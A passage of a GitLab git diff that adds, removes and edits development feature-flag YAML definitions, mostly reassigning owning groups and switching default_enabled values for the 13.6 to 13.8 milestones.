-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/281950
-milestone: '13.6'
-type: development
-group: group::project management
-default_enabled: false
diff --git a/config/feature_flags/development/datadog_ci_integration.yml b/config/feature_flags/development/datadog_ci_integration.yml
new file mode 100644
index 00000000000..c53ef36f3c1
--- /dev/null
+++ b/config/feature_flags/development/datadog_ci_integration.yml
@@ -0,0 +1,7 @@
+---
+name: datadog_ci_integration
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46564
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284088
+type: development
+group: group::ecosystem
+default_enabled: false
diff --git a/config/feature_flags/development/default_merge_ref_for_diffs.yml b/config/feature_flags/development/default_merge_ref_for_diffs.yml
index 8442240e442..1058cff5e8f 100644
--- a/config/feature_flags/development/default_merge_ref_for_diffs.yml
+++ b/config/feature_flags/development/default_merge_ref_for_diffs.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34472
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/276917
milestone: '13.4'
type: development
-group: group::source code
+group: group::code review
default_enabled: false
diff --git a/config/feature_flags/development/dependency_proxy_for_private_groups.yml b/config/feature_flags/development/dependency_proxy_for_private_groups.yml
new file mode 100644
index 00000000000..0bc795ba02e
--- /dev/null
+++ b/config/feature_flags/development/dependency_proxy_for_private_groups.yml
@@ -0,0 +1,8 @@
+---
+name: dependency_proxy_for_private_groups
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46042
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/276777
+milestone: '13.7'
+type: development
+group: group::package
+default_enabled: true
diff --git a/config/feature_flags/development/devops_adoption_feature.yml b/config/feature_flags/development/devops_adoption_feature.yml
index 7032c52c390..34ade24cbc6 100644
--- a/config/feature_flags/development/devops_adoption_feature.yml
+++ b/config/feature_flags/development/devops_adoption_feature.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/271568
milestone: '13.6'
type: development
group: group::analytics
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/diff_check_with_paths_changed_rpc.yml b/config/feature_flags/development/diff_check_with_paths_changed_rpc.yml
new file mode 100644
index 00000000000..d67624deb41
--- /dev/null
+++ b/config/feature_flags/development/diff_check_with_paths_changed_rpc.yml
@@ -0,0 +1,8 @@
+---
+name: diff_check_with_paths_changed_rpc
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46116
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/288827
+milestone: '13.7'
+type: development
+group: group::code review
+default_enabled: true
diff --git a/config/feature_flags/development/diffs_gradual_load.yml b/config/feature_flags/development/diffs_gradual_load.yml
new file mode 100644
index 00000000000..05246639069
--- /dev/null
+++ b/config/feature_flags/development/diffs_gradual_load.yml
@@ -0,0 +1,8 @@
+---
+name: diffs_gradual_load
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48253/
+rollout_issue_url:
+milestone: '13.7'
+type: development
+group: group::code review
+default_enabled: true
diff --git a/config/feature_flags/development/disable_metric_dashboard_refresh_rate.yml b/config/feature_flags/development/disable_metric_dashboard_refresh_rate.yml
index 354dfebbf6d..6f4235acaac 100644
--- a/config/feature_flags/development/disable_metric_dashboard_refresh_rate.yml
+++ b/config/feature_flags/development/disable_metric_dashboard_refresh_rate.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37195
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/229841
milestone: '13.2'
type: development
-group: group::health
+group: group::monitor
default_enabled: false
diff --git a/config/feature_flags/development/display_merge_conflicts_in_diff.yml b/config/feature_flags/development/display_merge_conflicts_in_diff.yml
index d460e491480..b81b6b25473 100644
--- a/config/feature_flags/development/display_merge_conflicts_in_diff.yml
+++ b/config/feature_flags/development/display_merge_conflicts_in_diff.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45008
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/277097
milestone: '13.5'
type: development
-group: group::source code
+group: group::code review
default_enabled: false
diff --git a/config/feature_flags/development/environment_auto_stop_start_on_create.yml b/config/feature_flags/development/environment_auto_stop_start_on_create.yml
deleted file mode 100644
index 4950449ad9c..00000000000
--- a/config/feature_flags/development/environment_auto_stop_start_on_create.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: environment_auto_stop_start_on_create
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47239
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/281449
-milestone: '13.6'
-type: development
-group: group::release
-default_enabled: false
diff --git a/config/feature_flags/development/feature_flags_new_version.yml b/config/feature_flags/development/feature_flags_new_version.yml
deleted file mode 100644
index f42054ce3ef..00000000000
--- a/config/feature_flags/development/feature_flags_new_version.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: feature_flags_new_version
-introduced_by_url:
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/258831
-milestone: '13.7'
-type: development
-group: group::progressive delivery
-default_enabled: true
diff --git a/config/feature_flags/development/forti_token_cloud.yml b/config/feature_flags/development/forti_token_cloud.yml
new file mode 100644
index 00000000000..10f143ca912
--- /dev/null
+++ b/config/feature_flags/development/forti_token_cloud.yml
@@ -0,0 +1,8 @@
+---
+name: forti_token_cloud
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49089
+rollout_issue_url:
+milestone: '13.7'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/geo_snippet_repository_replication.yml b/config/feature_flags/development/geo_snippet_repository_replication.yml
index 69aa7beef55..5815c9a1f6d 100644
--- a/config/feature_flags/development/geo_snippet_repository_replication.yml
+++ b/config/feature_flags/development/geo_snippet_repository_replication.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/224168
milestone: '13.4'
type: development
group: group::geo
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/gitaly_go_user_merge_branch.yml b/config/feature_flags/development/gitaly_go_user_merge_branch.yml
new file mode 100644
index 00000000000..3804a3f56b5
--- /dev/null
+++ b/config/feature_flags/development/gitaly_go_user_merge_branch.yml
@@ -0,0 +1,8 @@
+---
+name: gitaly_go_user_merge_branch
+introduced_by_url:
+rollout_issue_url:
+milestone:
+type: development
+group:
+default_enabled: false
diff --git a/config/feature_flags/development/github_import_pull_request_reviews.yml b/config/feature_flags/development/github_import_pull_request_reviews.yml
new file mode 100644
index 00000000000..38ff6b65eaa
--- /dev/null
+++ b/config/feature_flags/development/github_import_pull_request_reviews.yml
@@ -0,0 +1,8 @@
+---
+name: github_import_pull_request_reviews
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48632
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/289153
+milestone: '13.7'
+type: development
+group: group::import
+default_enabled: true
diff --git a/config/feature_flags/development/gitlab_ci_yml_preview.yml b/config/feature_flags/development/gitlab_ci_yml_preview.yml
deleted file mode 100644
index 5b5453c0f08..00000000000
--- a/config/feature_flags/development/gitlab_ci_yml_preview.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: gitlab_ci_yml_preview
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/244905
-milestone: '13.4'
-type: development
-group: group::ci
-default_enabled: false
diff --git a/config/feature_flags/development/gitlab_experiments.yml b/config/feature_flags/development/gitlab_experiments.yml
new file mode 100644
index 00000000000..51fa6aa4529
--- /dev/null
+++ b/config/feature_flags/development/gitlab_experiments.yml
@@ -0,0 +1,8 @@
+---
+name: gitlab_experiments
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45840
+rollout_issue_url:
+milestone: '13.7'
+type: development
+group: group::adoption
+default_enabled: false
diff --git a/config/feature_flags/development/graphql_board_lists.yml b/config/feature_flags/development/graphql_board_lists.yml
index 19785015f1b..a107dce7dfa 100644
--- a/config/feature_flags/development/graphql_board_lists.yml
+++ b/config/feature_flags/development/graphql_board_lists.yml
@@ -1,7 +1,7 @@
---
name: graphql_board_lists
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37905
-rollout_issue_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/248908
milestone: '13.4'
type: development
group: group::project management
diff --git a/config/feature_flags/development/graphql_pipeline_analytics.yml b/config/feature_flags/development/graphql_pipeline_analytics.yml
new file mode 100644
index 00000000000..f91475fcbd7
--- /dev/null
+++ b/config/feature_flags/development/graphql_pipeline_analytics.yml
@@ -0,0 +1,8 @@
+---
+name: graphql_pipeline_analytics
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48267
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/290153
+milestone: '13.7'
+type: development
+group: group::continuos integration
+default_enabled: false
diff --git a/config/feature_flags/development/group_ci_cd_analytics_page.yml b/config/feature_flags/development/group_ci_cd_analytics_page.yml
new file mode 100644
index 00000000000..9f25ca7e6ad
--- /dev/null
+++ b/config/feature_flags/development/group_ci_cd_analytics_page.yml
@@ -0,0 +1,8 @@
+---
+name: group_ci_cd_analytics_page
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49608
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/292601
+milestone: '13.8'
+type: development
+group: group::release
+default_enabled: false
diff --git a/config/feature_flags/development/group_level_integrations.yml b/config/feature_flags/development/group_level_integrations.yml
deleted file mode 100644
index 2be5207e099..00000000000
--- a/config/feature_flags/development/group_level_integrations.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: group_level_integrations
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27557
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/238575
-milestone: '12.10'
-type: development
-group: group::ecosystem
-default_enabled: true
diff --git a/config/feature_flags/development/group_members_filtered_search.yml b/config/feature_flags/development/group_members_filtered_search.yml
new file mode 100644
index 00000000000..8a30bdd3d92
--- /dev/null
+++ b/config/feature_flags/development/group_members_filtered_search.yml
@@ -0,0 +1,8 @@
+---
+name: group_members_filtered_search
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48272
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/289911
+milestone: '13.7'
+type: development
+group: group::access
+default_enabled: true
diff --git a/config/feature_flags/development/hide_jump_to_next_unresolved_in_threads.yml b/config/feature_flags/development/hide_jump_to_next_unresolved_in_threads.yml
index 6337f6154d9..0eda7b1ca4f 100644
--- a/config/feature_flags/development/hide_jump_to_next_unresolved_in_threads.yml
+++ b/config/feature_flags/development/hide_jump_to_next_unresolved_in_threads.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37873
rollout_issue_url:
milestone: '13.3'
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/highlight_current_diff_row.yml b/config/feature_flags/development/highlight_current_diff_row.yml
deleted file mode 100644
index fc872ea47fc..00000000000
--- a/config/feature_flags/development/highlight_current_diff_row.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: highlight_current_diff_row
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27937
-rollout_issue_url:
-milestone: '13.4'
-type: development
-group: group::source code
-default_enabled: false
diff --git a/config/feature_flags/development/http_integrations_list.yml b/config/feature_flags/development/http_integrations_list.yml
deleted file mode 100644
index 3567f7b446d..00000000000
--- a/config/feature_flags/development/http_integrations_list.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: http_integrations_list
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45993
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/255502
-milestone: '13.6'
-type: development
-group: group::health
-default_enabled: false
diff --git a/config/feature_flags/development/import_requirements_csv.yml b/config/feature_flags/development/import_requirements_csv.yml
new file mode 100644
index 00000000000..736d2204b44
--- /dev/null
+++ b/config/feature_flags/development/import_requirements_csv.yml
@@ -0,0 +1,8 @@
+---
+name: import_requirements_csv
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48060
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284846
+milestone: '13.7'
+type: development
+group: group::product planning
+default_enabled: true
diff --git a/config/feature_flags/development/increased_diff_limits.yml b/config/feature_flags/development/increased_diff_limits.yml
index ee811c221dc..898f6597a8a 100644
--- a/config/feature_flags/development/increased_diff_limits.yml
+++ b/config/feature_flags/development/increased_diff_limits.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40357
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/241185
milestone: '13.5'
type: development
-group: group::source code
+group: group::code review
default_enabled: false
diff --git a/config/feature_flags/development/jira_sync_builds.yml b/config/feature_flags/development/jira_sync_builds.yml
new file mode 100644
index 00000000000..8cb054b848d
--- /dev/null
+++ b/config/feature_flags/development/jira_sync_builds.yml
@@ -0,0 +1,8 @@
+---
+name: jira_sync_builds
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49348
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/292013
+milestone: '13.7'
+type: development
+group: group::ecosystem
+default_enabled: false
diff --git a/config/feature_flags/development/lfs_chunked_encoding.yml b/config/feature_flags/development/lfs_chunked_encoding.yml
new file mode 100644
index 00000000000..92f534d1000
--- /dev/null
+++ b/config/feature_flags/development/lfs_chunked_encoding.yml
@@ -0,0 +1,8 @@
+---
+name: lfs_chunked_encoding
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48269
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/285581
+milestone: '13.6'
+type: development
+group:
+default_enabled: true
diff --git a/config/feature_flags/development/merge_ref_auto_sync.yml b/config/feature_flags/development/merge_ref_auto_sync.yml
index f22a18940c7..9fd1eecbe5a 100644
--- a/config/feature_flags/development/merge_ref_auto_sync.yml
+++ b/config/feature_flags/development/merge_ref_auto_sync.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29
rollout_issue_url:
milestone: '12.1'
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/merge_ref_auto_sync_lock.yml b/config/feature_flags/development/merge_ref_auto_sync_lock.yml
index e26c5ed5050..3aec2b4e062 100644
--- a/config/feature_flags/development/merge_ref_auto_sync_lock.yml
+++ b/config/feature_flags/development/merge_ref_auto_sync_lock.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31
rollout_issue_url:
milestone: '12.2'
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/merge_request_cached_pipeline_serializer.yml b/config/feature_flags/development/merge_request_cached_pipeline_serializer.yml
index 60db901d801..0cce0bbf3ba 100644
--- a/config/feature_flags/development/merge_request_cached_pipeline_serializer.yml
+++ b/config/feature_flags/development/merge_request_cached_pipeline_serializer.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38273
rollout_issue_url:
milestone: '13.5'
type: development
-group: group::source code
+group: group::code review
default_enabled: false
diff --git a/config/feature_flags/development/merge_request_draft_filter.yml b/config/feature_flags/development/merge_request_draft_filter.yml
index ee719f52b7c..0614485d37c 100644
--- a/config/feature_flags/development/merge_request_draft_filter.yml
+++ b/config/feature_flags/development/merge_request_draft_filter.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35942
rollout_issue_url:
milestone: '13.3'
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/merge_request_reviewers.yml b/config/feature_flags/development/merge_request_reviewers.yml
index ca9de4af264..85582ee25f9 100644
--- a/config/feature_flags/development/merge_request_reviewers.yml
+++ b/config/feature_flags/development/merge_request_reviewers.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40488
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/245190
milestone: '13.4'
type: development
-group: group::source code
-default_enabled: false
+group: group::code review
+default_enabled: true
diff --git a/config/feature_flags/development/merge_request_widget_graphql.yml b/config/feature_flags/development/merge_request_widget_graphql.yml
index 2969b91039a..0f4e6fe41ca 100644
--- a/config/feature_flags/development/merge_request_widget_graphql.yml
+++ b/config/feature_flags/development/merge_request_widget_graphql.yml
@@ -1,8 +1,8 @@
---
name: merge_request_widget_graphql
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38311
-rollout_issue_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/267560
milestone: '13.3'
type: development
-group: group::source code
+group: group::code review
default_enabled: false
diff --git a/config/feature_flags/development/metrics_dashboard.yml b/config/feature_flags/development/metrics_dashboard.yml
index 81eafa74ab4..39a7fd1260b 100644
--- a/config/feature_flags/development/metrics_dashboard.yml
+++ b/config/feature_flags/development/metrics_dashboard.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29634
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/257902
milestone: '13.0'
type: development
-group: group::health
+group: group::monitor
default_enabled: true
diff --git a/config/feature_flags/development/mr_collapsed_approval_rules.yml b/config/feature_flags/development/mr_collapsed_approval_rules.yml
new file mode 100644
index 00000000000..5fca48ddc3a
--- /dev/null
+++ b/config/feature_flags/development/mr_collapsed_approval_rules.yml
@@ -0,0 +1,8 @@
+---
+name: mr_collapsed_approval_rules
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47475
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284052
+milestone: '13.6'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/mr_commit_neighbor_nav.yml b/config/feature_flags/development/mr_commit_neighbor_nav.yml
index d49dc656858..1605aaa80e4 100644
--- a/config/feature_flags/development/mr_commit_neighbor_nav.yml
+++ b/config/feature_flags/development/mr_commit_neighbor_nav.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28596
rollout_issue_url:
milestone: '13.0'
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/mrc_api_use_raw_diffs_from_gitaly.yml b/config/feature_flags/development/mrc_api_use_raw_diffs_from_gitaly.yml
index c44d14a6dfc..3f2381e9ff6 100644
--- a/config/feature_flags/development/mrc_api_use_raw_diffs_from_gitaly.yml
+++ b/config/feature_flags/development/mrc_api_use_raw_diffs_from_gitaly.yml
@@ -3,5 +3,5 @@ name: mrc_api_use_raw_diffs_from_gitaly
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46190
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/225322
type: development
-group: group::source code
+group: group::code review
default_enabled: false
diff --git a/config/feature_flags/development/multiline_comments.yml b/config/feature_flags/development/multiline_comments.yml
index dad02bf80fd..ed38e1a575f 100644
--- a/config/feature_flags/development/multiline_comments.yml
+++ b/config/feature_flags/development/multiline_comments.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37114
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/211255
milestone: '13.2'
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/multiple_http_integrations_custom_mapping.yml b/config/feature_flags/development/multiple_http_integrations_custom_mapping.yml
index efc18603fdc..6c04d08369f 100644
--- a/config/feature_flags/development/multiple_http_integrations_custom_mapping.yml
+++ b/config/feature_flags/development/multiple_http_integrations_custom_mapping.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46437
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/273573
milestone: '13.6'
type: development
-group: group::health
+group: group::monitor
default_enabled: false
diff --git a/config/feature_flags/development/new_pipeline_form_prefilled_vars.yml b/config/feature_flags/development/new_pipeline_form_prefilled_vars.yml
index 3f79783d805..0354b18fafd 100644
--- a/config/feature_flags/development/new_pipeline_form_prefilled_vars.yml
+++ b/config/feature_flags/development/new_pipeline_form_prefilled_vars.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/263276
milestone: '13.5'
type: development
group: group::continuous integration
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/new_project_level_vsa_backend.yml b/config/feature_flags/development/new_project_level_vsa_backend.yml
new file mode 100644
index 00000000000..988e5e39a03
--- /dev/null
+++ b/config/feature_flags/development/new_project_level_vsa_backend.yml
@@ -0,0 +1,8 @@
+---
+name: new_project_level_vsa_backend
+introduced_by_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/282435
+milestone: '13.7'
+type: development
+group: group::optimize
+default_enabled: true
diff --git a/config/feature_flags/development/operations.yml b/config/feature_flags/development/operations.yml
new file mode 100644
index 00000000000..5b5537ed740
--- /dev/null
+++ b/config/feature_flags/development/operations.yml
@@ -0,0 +1,8 @@
+---
+name: operations
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48347
+rollout_issue_url:
+milestone: '13.7'
+type: development
+group: group::editor
+default_enabled: true
diff --git a/config/feature_flags/development/pages_serve_from_artifacts_archive.yml b/config/feature_flags/development/pages_serve_from_artifacts_archive.yml
deleted file mode 100644
index 4cc29601e48..00000000000
--- a/config/feature_flags/development/pages_serve_from_artifacts_archive.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: pages_serve_from_artifacts_archive
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46320
-rollout_issue_url:
-group: group::release management
-milestone: '13.4'
-type: development
-default_enabled: false
diff --git a/config/feature_flags/development/pages_serve_from_deployments.yml b/config/feature_flags/development/pages_serve_from_deployments.yml
index ab75ec16952..f73e9f5b49d 100644
--- a/config/feature_flags/development/pages_serve_from_deployments.yml
+++ b/config/feature_flags/development/pages_serve_from_deployments.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-com/gl-infra/production/-/issues/29
milestone: '13.6'
type: development
group: group::Release Management
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/pages_use_legacy_storage_lease.yml b/config/feature_flags/development/pages_use_legacy_storage_lease.yml
new file mode 100644
index 00000000000..548a3ecd589
--- /dev/null
+++ b/config/feature_flags/development/pages_use_legacy_storage_lease.yml
@@ -0,0 +1,8 @@
+---
+name: pages_use_legacy_storage_lease
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48349
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/282464
+milestone: '13.7'
+type: development
+group: group::release
+default_enabled: true
diff --git a/config/feature_flags/development/paginated_notes.yml b/config/feature_flags/development/paginated_notes.yml
index 67036d693e3..733e23083d2 100644
--- a/config/feature_flags/development/paginated_notes.yml
+++ b/config/feature_flags/development/paginated_notes.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34628
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/254987
milestone: '13.2'
type: development
-group: group::source code
+group: group::code review
default_enabled: false
diff --git a/config/feature_flags/development/performance_bar_stats.yml b/config/feature_flags/development/performance_bar_stats.yml
new file mode 100644
index 00000000000..79315050c58
--- /dev/null
+++ b/config/feature_flags/development/performance_bar_stats.yml
@@ -0,0 +1,8 @@
+---
+name: performance_bar_stats
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48149
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/285480
+milestone: '13.7'
+type: development
+group: group::product_planning
+default_enabled: false
diff --git a/config/feature_flags/development/pg_hint_plan_for_issuables.yml b/config/feature_flags/development/pg_hint_plan_for_issuables.yml
deleted file mode 100644
index 06d20c404c5..00000000000
--- a/config/feature_flags/development/pg_hint_plan_for_issuables.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: pg_hint_plan_for_issuables
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46289
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/273528
-milestone: '13.6'
-type: development
-group: group::project planning
-default_enabled: false
diff --git a/config/feature_flags/development/postgres_hll_batch_counting.yml b/config/feature_flags/development/postgres_hll_batch_counting.yml
new file mode 100644
index 00000000000..87d3c7816a1
--- /dev/null
+++ b/config/feature_flags/development/postgres_hll_batch_counting.yml
@@ -0,0 +1,8 @@
+---
+name: postgres_hll_batch_counting
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48233
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/285485
+milestone: '13.7'
+type: development
+group: group::product analytics
+default_enabled: false
diff --git a/config/feature_flags/development/product_analytics_aggregated_metrics.yml b/config/feature_flags/development/product_analytics_aggregated_metrics.yml
deleted file mode 100644
index 7f13b4c68a4..00000000000
--- a/config/feature_flags/development/product_analytics_aggregated_metrics.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: product_analytics_aggregated_metrics
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44624
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/267550
-milestone: '13.6'
-type: development
-group: group::product analytics
-default_enabled: false
diff --git a/config/feature_flags/development/prometheus_computed_alerts.yml b/config/feature_flags/development/prometheus_computed_alerts.yml
index 428a99c1c1e..5a9a989d544 100644
--- a/config/feature_flags/development/prometheus_computed_alerts.yml
+++ b/config/feature_flags/development/prometheus_computed_alerts.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/13443
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/255304
milestone: '12.0'
type: development
-group: group::health
+group: group::monitor
default_enabled: false
diff --git a/config/feature_flags/development/push_rules_supersede_code_owners.yml b/config/feature_flags/development/push_rules_supersede_code_owners.yml
index 7226e443640..504cd7ec38e 100644
--- a/config/feature_flags/development/push_rules_supersede_code_owners.yml
+++ b/config/feature_flags/development/push_rules_supersede_code_owners.yml
@@ -3,5 +3,5 @@ name: push_rules_supersede_code_owners
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44126
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/262019
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/reactive_caching_limit_environment.yml b/config/feature_flags/development/reactive_caching_limit_environment.yml
deleted file mode 100644
index 2569f51eaad..00000000000
--- a/config/feature_flags/development/reactive_caching_limit_environment.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: reactive_caching_limit_environment
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34202
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/202633
-milestone: '13.2'
-type: development
-group: group::configure
-default_enabled: true
diff --git a/config/feature_flags/development/remove_resolve_note.yml b/config/feature_flags/development/remove_resolve_note.yml
index f5ec26f7580..0f792dffd0b 100644
--- a/config/feature_flags/development/remove_resolve_note.yml
+++ b/config/feature_flags/development/remove_resolve_note.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45549
rollout_issue_url:
milestone: '13.6'
type: development
-group: group::source code
+group: group::code review
default_enabled: true
diff --git a/config/feature_flags/development/reset_integrations.yml b/config/feature_flags/development/reset_integrations.yml
new file mode 100644
index 00000000000..332fbc96ef5
--- /dev/null
+++ b/config/feature_flags/development/reset_integrations.yml
@@ -0,0 +1,8 @@
+---
+name: reset_integrations
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47546
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/283875
+milestone: '13.7'
+type: development
+group: group::ecosystem
+default_enabled: false
diff --git a/config/feature_flags/development/restrict_access_to_build_debug_mode.yml b/config/feature_flags/development/restrict_access_to_build_debug_mode.yml
new file mode 100644
index 00000000000..6d195e03842
--- /dev/null
+++ b/config/feature_flags/development/restrict_access_to_build_debug_mode.yml
@@ -0,0 +1,8 @@
+---
+name: restrict_access_to_build_debug_mode
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48932
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/292661
+milestone: '13.7'
+type: development
+group: group::continuous integration
+default_enabled: true
diff --git a/config/feature_flags/development/reviewer_approval_rules.yml b/config/feature_flags/development/reviewer_approval_rules.yml
new file mode 100644
index 00000000000..97181ef2a36
--- /dev/null
+++ b/config/feature_flags/development/reviewer_approval_rules.yml
@@ -0,0 +1,8 @@
+---
+name: reviewer_approval_rules
